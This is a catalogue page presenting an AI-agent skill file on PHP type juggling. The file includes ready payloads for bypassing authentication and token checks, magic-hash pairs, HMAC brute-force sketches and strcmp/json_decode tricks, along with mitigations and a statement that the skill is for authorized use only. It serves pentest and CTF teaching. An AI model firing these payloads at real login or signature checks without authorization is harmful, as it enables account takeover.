Agent Skillsyaklang/hack-skills › type-juggling

type-juggling

GitHub

针对PHP弱类型比较和魔法哈希绕过技能,提供在身份验证、HMAC或令牌验证中使用松散相等性时的利用方法与探针。

skills/type-juggling/SKILL.md yaklang/hack-skills

触发场景

PHP代码使用==进行密码或令牌比较 发现md5/hash_hmac等函数的宽松比较逻辑

安装

npx skills add yaklang/hack-skills --skill type-juggling -g -y
更多选项

不安装直接使用

npx skills use yaklang/hack-skills@type-juggling

指定 Agent (Claude Code)

npx skills add yaklang/hack-skills --skill type-juggling -a claude-code -g -y

安装 repo 全部 skill

npx skills add yaklang/hack-skills --all -g -y

预览 repo 内 skill

npx skills add yaklang/hack-skills --list

SKILL.md

Frontmatter
{
    "name": "type-juggling",
    "description": "PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC\/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths."
}

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or php -r in lab)

<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

Clue Next step
Source code uses == to compare passwords, tokens, or HMAC values Go to Sections 1-3
md5($a) == md5($b) or loose sha1 comparison Section 2 magic hashes
hash_hmac(...) != '0' or compared with "0" Section 3
strcmpjson_decode(..., true)intval Section 5

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

Expression Result Mechanism (short)
'0010e2' == '1e3' true Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' true Both parse as 0.0 in scientific notation
'123a' == 123 true String cast to int stops at first non-digit → 123
'abc' == 0 true (PHP 7.x and earlier) Non-numeric string compared to int → string becomes 0
'' == 0 true Empty string → 0
'' == false true both “falsy” in loose rules
false == NULL true loose equality
0 == false true loose equality
'' == 0 == false == NULL true (chain) Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain
'0' == false true String '0' is the only non-empty string that compares as false to boolean
'php' == 0 false (PHP 8+) PHP 8: non-numeric string no longer equals 0

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

Topic PHP 5.x / 7.x (typical) PHP 8.0+
0 == "foo" true (string → 0) false
String-to-number for "123a" Still truncates for (int) / numeric compare in many == paths Same idea for numeric strings; non-numeric vs int fixed as above
md5([]) / sha1([]) May warn / NULL-like behavior in older patterns TypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

Algorithm Example input Digest (starts with 0e + all decimal digits)
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
SHA-1 10932435112 0e07766915004133176347055865026311692244
SHA-224 (brute-force / precomputed) Example form: 0e + decimal digits only → == with another such string is true
SHA-256 (brute-force / precomputed) Same pattern: only strings matching ^0e\d+$ collide under ==

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0true.

2.2 Exploit pattern in code

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}

2.3 Payload sketch (pair hunting)

?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

Concept Example
Message type Unix timestamp, incrementing id, millisecond clock
Timestamp brute-force pattern Tutorials sometimes cite 15398059860e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code.
Goal Find $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$
Note Without knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

Call Typical PHP 7/8 behavior
md5([]) PHP 8: TypeError; older: warnings / not reliable across versions
sha1([]) Same
Idea If error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval bypass

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true for associative array auth

{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.


6. DECISION TREE

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

Tool Use
Local php CLI Reproduce == behavior for target major version
Static code review Grep ==, != on crypto outputs; find missing hash_equals
CTF frameworks Payload generators for magic hashes and 0e search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.

版本历史

  • c9a4b9e 当前 2026-07-06 00:26

同 Skill 集合

skills/401-403-bypass-techniques/SKILL.md
skills/active-directory-acl-abuse/SKILL.md
skills/active-directory-certificate-services/SKILL.md
skills/active-directory-kerberos-attacks/SKILL.md
skills/ai-ml-security/SKILL.md
skills/android-pentesting-tricks/SKILL.md
skills/anti-debugging-techniques/SKILL.md
skills/api-auth-and-jwt-abuse/SKILL.md
skills/api-authorization-and-bola/SKILL.md
skills/api-recon-and-docs/SKILL.md
skills/api-sec/SKILL.md
skills/arbitrary-write-to-rce/SKILL.md
skills/auth-sec/SKILL.md
skills/authbypass-authentication-flaws/SKILL.md
skills/binary-protection-bypass/SKILL.md
skills/browser-exploitation-v8/SKILL.md
skills/business-logic-vuln/SKILL.md
skills/business-logic-vulnerabilities/SKILL.md
skills/classical-cipher-analysis/SKILL.md
skills/clickjacking/SKILL.md
skills/cmdi-command-injection/SKILL.md
skills/code-obfuscation-deobfuscation/SKILL.md
skills/container-escape-techniques/SKILL.md
skills/cors-cross-origin-misconfiguration/SKILL.md
skills/crlf-injection/SKILL.md
skills/csp-bypass-advanced/SKILL.md
skills/csrf-cross-site-request-forgery/SKILL.md
skills/csv-formula-injection/SKILL.md
skills/dangling-markup-injection/SKILL.md
skills/defi-attack-patterns/SKILL.md
skills/dependency-confusion/SKILL.md
skills/deserialization-insecure/SKILL.md
skills/dns-rebinding-attacks/SKILL.md
skills/email-header-injection/SKILL.md
skills/expression-language-injection/SKILL.md
skills/file-access-vuln/SKILL.md
skills/format-string-exploitation/SKILL.md
skills/graphql-and-hidden-parameters/SKILL.md
skills/hack/SKILL.md
skills/hash-attack-techniques/SKILL.md
skills/heap-exploitation/SKILL.md
skills/http-host-header-attacks/SKILL.md
skills/http-parameter-pollution/SKILL.md
skills/http2-specific-attacks/SKILL.md
skills/idor-broken-object-authorization/SKILL.md
skills/injection-checking/SKILL.md
skills/insecure-source-code-management/SKILL.md
skills/ios-pentesting-tricks/SKILL.md
skills/jndi-injection/SKILL.md
skills/jwt-oauth-token-attacks/SKILL.md

元信息

文件数
0
版本
c9a4b9e
Hash
b8da5317
收录时间
2026-07-06 00:26

首页 - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-08-06 07:20
浙ICP备14020137号-1 $访客地图$